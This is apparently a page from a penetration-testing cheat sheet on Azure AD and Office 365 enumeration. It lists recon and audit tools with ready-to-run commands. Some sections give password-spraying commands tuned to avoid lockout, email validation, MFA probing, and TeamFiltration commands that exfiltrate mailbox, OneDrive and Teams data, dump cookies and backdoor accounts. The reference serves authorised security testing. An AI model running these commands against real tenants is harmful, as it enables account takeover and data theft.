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InternalAllTheThings/docs/cloud/azure/azure-enumeration.md

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Azure AD - Enumerate

Azure AD - Collectors

  • Microsoft Portals - Microsoft Administrator Sites
  • dirkjanm/ROADTool - A collection of Azure AD tools for offensive and defensive security purposes 
    roadrecon auth --access-token eyJ0eXA...
roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
roadrecon gather
roadrecon gui
  • BloodHoundAD/AzureHound - Azure Data Exporter for BloodHound 
    ./azurehound --refresh-token <refresh-token> list --tenant "<target-tenant-id>" -o output.json
./azurehound -u "<username>@contoso.onmicrosoft.com" -p "<password>" list groups --tenant "<tenant>.onmicrosoft.com"
./azurehound -j "<jwt>" list users --tenant "<tenant>.onmicrosoft.com"
  • BloodHoundAD/BARK - BloodHound Attack Research Kit 
    . .\BARK.ps1
$MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "user@contoso.onmicrosoft.com" -password "MyVeryCoolPassword" -TenantID "contoso.onmicrosoft.com"
$MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshTokenRequest.refresh_token -TenantID "contoso.onmicrosoft.com"
$MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowProgress
  • dafthack/GraphRunner - A Post-exploitation Toolset for Interacting with the Microsoft Graph API 
    Invoke-GraphRecon -Tokens $tokens -PermissionEnum
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
Invoke-DumpApps -Tokens $tokens
Get-DynamicGroups -Tokens $tokens
  • NetSPI/MicroBurst - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping 
    PS C:> Import-Module .\MicroBurst.psm1
PS C:> Import-Module .\Get-AzureDomainInfo.ps1
PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
  • hausec/PowerZure - PowerShell framework to assess Azure security 
    Import-Module .\Powerzure.psd1
Set-Subscription -Id [idgoeshere]
Get-AzureTarget
Get-AzureInTuneScript
Show-AzureKeyVaultContent -All
  • silverhack/monkey365 - Microsoft 365, Azure subscriptions and Microsoft Entra ID security configuration reviews. 
    Get-ChildItem -Recurse c:\monkey365 | Unblock-File
Import-Module C:\temp\monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Examples
Get-Help Invoke-Monkey365 -Detailed
  • prowler-cloud/prowler - Prowler is an Open Source Security tool for AWS, Azure, GCP and Kubernetes to do security assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness. Includes CIS, NIST 800, NIST CSF, CISA, FedRAMP, PCI-DSS, GDPR, HIPAA, FFIEC, SOC2, GXP, Well-Architected Security, ENS and more
  • projectdiscovery/nuclei-templates - Community curated list of templates for the nuclei engine to find security vulnerabilities. 
    nuclei -t ~/nuclei-templates/cloud/azure/ -code -v
  • nccgroup/ScoutSuite - Multi-Cloud Security Auditing Tool
  • Flangvik/TeamFiltration - TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts 
    TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --aad 
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --tokens C:\\OutputTokens.txt --onedrive --owa
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-teams
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\2021\FooBar\OSINT\Usernames.txt
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --backdoor
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --database
  • Azure/StormSpotter - ⚠️ This repository has not been updated recently - Azure Red Team tool for graphing Azure and Azure Active Directory objects
  • nccgroup/Azucar - ⚠️ This repository has been archived - Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
  • FSecureLABS/Azurite - ⚠️ This repository has not been updated recently - Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
  • cyberark/SkyArk - ⚠️ This repository has not been updated recently - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.

Azure AD - User Enumeration

Enumerate Tenant Informations

  • Federation with Azure AD or O365 
    Get-AADIntLoginInformation -UserName <USER>@<TENANT NAME>.onmicrosoft.com
https://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1
https://login.microsoftonline.com/getuserrealm.srf?login=root@<TENANT NAME>.onmicrosoft.com&xml=1
  • Get the Tenant ID 
    Get-AADIntTenantID -Domain <TENANT NAME>.onmicrosoft.com
https://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configuration
https://login.microsoftonline.com/<TENANT NAME>.onmicrosoft.com/.well-known/openid-configuration

Enumerate from a Guest Account

powerpwn recon --tenant {tenantId} --cache-path {path}
powerpwn dump -tenant {tenantId} --cache-path {path}
powerpwn gui --cache-path {path}

Enumerate Emails

By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.

  • Validate email 
    PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt
admin@<TENANT NAME>.onmicrosoft.com   - VALID
root@<TENANT NAME>.onmicrosoft.com    - INVALID
test@<TENANT NAME>.onmicrosoft.com    - VALID
contact@<TENANT NAME>.onmicrosoft.com - INVALID
  • Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon 
    Install-Module MSOnline
Install-Module AzureAD
.\o365recon.ps1 -azure

Password Spraying

The default lockout policy tolerates 10 failed attempts, then lock out an account for 60 seconds.

  • dafthack/MSOLSpray 
    PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbose
PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
PS> Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
  • 0xZDH/o365spray 
    o365spray --spray -U usernames.txt -P passwords.txt --count 2 --lockout 5 --domain test.com
  • Flangvik/TeamFiltration 
    TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push --shuffle-users --shuffle-regions
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\2021\FooBar\Exclude_Emails.txt
TeamFiltration.exe --outpath  C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00

Azure Services Enumeration

Enumerate Tenant Domains

Extract openly available information for the given tenant: aadinternals.com/osint

Invoke-AADIntReconAsOutsider -DomainName <DOMAIN>
Invoke-AADIntReconAsOutsider -Domain "company.com" | Format-Table
Invoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-Table

Enumerate Azure Subdomains

PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
Subdomain Service
--------- -------
<TENANT NAME>.mail.protection.outlook.com Email
<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain

Enumerate Services

  • Using Az Powershell module

    # Enumerate resources
PS Az> Get-AzResource

# List all VM's the user has access to
PS Az> Get-AzVM 

# Get all webapps
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}

# Get all function apps
PS Az> Get-AzFunctionApp

# List all storage accounts
PS Az> Get-AzStorageAccount

# List all keyvaults
PS Az> Get-AzKeyVault

# Get all application objects registered using the current tenant
PS AzureAD> Get-AzureADApplication -All $true

# Enumerate role assignments
PS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/<VM-NAME>
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com

# Check AppID Alternative Names/Display Name 
PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq "<APP-ID>"} | fl

  • Using az cli

    PS> az vm list
PS> az vm list --query "[].[name]" -o table
PS> az webapp list
PS> az functionapp list --query "[].[name]" -o table
PS> az storage account list
PS> az keyvault list

Multi Factor Authentication

  • dafthack/MFASweep - A tool for checking if MFA is enabled on multiple Microsoft Services
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020
Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020 -Recon -IncludeADFS

References